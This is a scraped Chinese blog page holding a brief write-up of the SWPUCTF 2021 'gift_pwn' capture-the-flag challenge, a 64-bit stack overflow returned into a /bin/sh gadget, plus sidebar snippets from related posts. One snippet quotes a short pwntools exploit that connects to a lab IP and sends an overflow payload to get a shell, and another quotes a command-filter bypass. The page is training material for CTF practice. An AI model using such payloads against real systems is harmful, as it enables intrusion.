SWPUCTF 2021 新生赛 gift_pwn

最新推荐文章于 2024-02-22 18:47:20 发布
最新推荐文章于 2024-02-22 18:47:20 发布
阅读量167 收藏
点赞数 1
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79793667/article/details/134769303
版权

打开环境，并下载附件

然后先进行nc连接，看看情况

发现连接之后并没有什么反应，我们需要用ida进行查看

我们检查附件的保护方式

发现是64位的程序，那我们就用64位ida打开

定义了buf[16]

有/bin/sh，追上去看看

/bin/sh开始的位置是4005B6

编写如下程序

然后运行，并查看flag

flag=NSSCTF{2fdf5715-6035-41e1-8e8e-36329e418514}

Darklight夜曦
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
赣网杯2021_pwn1.rar
12-11
赣网杯2021 pwn1 bin ctf
[SWPUCTF 2021 新生赛]gift_pwn
m0_74355719的博客
11-29 413
【代码】[SWPUCTF 2021 新生赛]gift_pwn。
[SWPUCTF 2021 新生赛]gift_F12
bi_qi_bao_的博客
02-22 378
Ctrl + F 搜索 网页源码中的flag。我们直接F12打开网页源代码。它迷惑你傻傻等待时间。
nssctf [SWPUCTF 2021 新生赛]gift_pwn
n1ght的博客
03-08 817
nssctf的pwn的第二题
NSSCTF刷题笔记pwn1——[SWPUCTF 2021 新生赛]gift_pwn
qq_45692883的博客
01-19 552
最后加上我们的返回地址，是上面找到的gift的地址，payload就完成了。ida有帮我们识别出来，距离rbp 16字节，我们要再加上我们的8个字节。首先找到我们要返回的gift的地址 0x4005b6。有一个栈溢出，和一个调用系统bash的命令。_system可以调用系统命令。把附件下载下来拖入ida运行。vuln可能存在漏洞的函数。不过要注意这是64位的程序。直接发送获取shell即可。gift题目中的主要函数。
NSSCTF-SWPUCTF 2021 新生赛-web-wp
F1rstb100d
09-19 646
NSSCTF-SWPUCTF 2021 新生赛-web-wp
CVE-2021-27246_Pwn2Own2020
03-03
Pwn2Own 2020东京版-TPlink漏洞利用 这是在Pwn2Own 2020 Tokyo期间用于开发TPlink Archer路由器的文件。 该漏洞的编号为CVE-2021-27246。 您可以在synacktiv网站上查看博客文章以了解详细信息。
赣网杯2021_pwn2.rar
12-11
赣网杯2021 pwn1 bin ctf
PWM.rar_ARM7 汇编_PWN_pwm arm7
09-22
ARM7下PWN接口的使用源码，包含C语言及汇编
PWN.zip_PWN控制舵机_pwn控制_pwn控制h桥_数字舵机_电机
07-14
pwm波输出，实现数字舵机的控制，完成一些简单的电机控制问题
SWPU新生赛2021 Pwn部分WriteUp
mumuzi的博客
10-11 1927
第一波放题 nc签到 不能有’cat’,‘ls’,’ ‘,‘cd’,‘echo’,’<’,’${IFS}’ 这很web 直接绕就行 tac$IFS$1flag gift_pwn ret2text from pwn import * p = remote('1.14.71.254','28057') p.sendline('a'*(0x10+8)+p64(0x4005b6)) p.interactive() whitegive_pwn ret2libc3 from pwn import * p =
[SWPUCTF 2021 新生赛]gift_F12的WP
yeah123_的博客
12-18 352
签到题，打开F12即可获得。
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8226
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
node-v0.8.10-sunos-x64.tar.gz
最新发布
05-16
Node.js，简称Node，是一个开源且跨平台的JavaScript运行时环境，它允许在浏览器外运行JavaScript代码。Node.js于2009年由Ryan Dahl创立，旨在创建高性能的Web服务器和网络应用程序。它基于Google Chrome的V8 JavaScript引擎，可以在Windows、Linux、Unix、Mac OS X等操作系统上运行。 Node.js的特点之一是事件驱动和非阻塞I/O模型，这使得它非常适合处理大量并发连接，从而在构建实时应用程序如在线游戏、聊天应用以及实时通讯服务时表现卓越。此外，Node.js使用了模块化的架构，通过npm（Node package manager，Node包管理器）,社区成员可以共享和复用代码，极大地促进了Node.js生态系统的发展和扩张。 Node.js不仅用于服务器端开发。随着技术的发展，它也被用于构建工具链、开发桌面应用程序、物联网设备等。Node.js能够处理文件系统、操作数据库、处理网络请求等，因此，开发者可以用JavaScript编写全栈应用程序，这一点大大提高了开发效率和便捷性。 在实践中，许多大型企业和组织已经采用Node.js作为其Web应用程序的开发平台，如Netflix、PayPal和Walmart等。它们利用Node.js提高了应用性能，简化了开发流程，并且能更快地响应市场需求。
【课程设计】实现的金融风控贷款违约预测python源码.zip
05-16
【课程设计】实现的金融风控贷款违约预测python源码.zip
node-v0.10.27-x86.msi
05-16
Node.js，简称Node，是一个开源且跨平台的JavaScript运行时环境，它允许在浏览器外运行JavaScript代码。Node.js于2009年由Ryan Dahl创立，旨在创建高性能的Web服务器和网络应用程序。它基于Google Chrome的V8 JavaScript引擎，可以在Windows、Linux、Unix、Mac OS X等操作系统上运行。 Node.js的特点之一是事件驱动和非阻塞I/O模型，这使得它非常适合处理大量并发连接，从而在构建实时应用程序如在线游戏、聊天应用以及实时通讯服务时表现卓越。此外，Node.js使用了模块化的架构，通过npm（Node package manager，Node包管理器）,社区成员可以共享和复用代码，极大地促进了Node.js生态系统的发展和扩张。 Node.js不仅用于服务器端开发。随着技术的发展，它也被用于构建工具链、开发桌面应用程序、物联网设备等。Node.js能够处理文件系统、操作数据库、处理网络请求等，因此，开发者可以用JavaScript编写全栈应用程序，这一点大大提高了开发效率和便捷性。 在实践中，许多大型企业和组织已经采用Node.js作为其Web应用程序的开发平台，如Netflix、PayPal和Walmart等。它们利用Node.js提高了应用性能，简化了开发流程，并且能更快地响应市场需求。
课设毕设基于SSM的高校二手交易平台-LW+PPT+源码可运行.zip
05-16
课设毕设基于SSM的高校二手交易平台--LW+PPT+源码可运行
c++,冒险游戏，可供学习
05-16
冒险游戏，可供学习
xdctf2015_pwn200
09-03
xdctf2015_pwn200是一道CTF比赛中的题目，是一个二进制漏洞利用题目。从代码中可以看出，它利用了一个栈溢出漏洞来实现攻击。在攻击过程中，首先使用write函数的got地址来泄露出libc中write函数的真实地址，然后通过...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值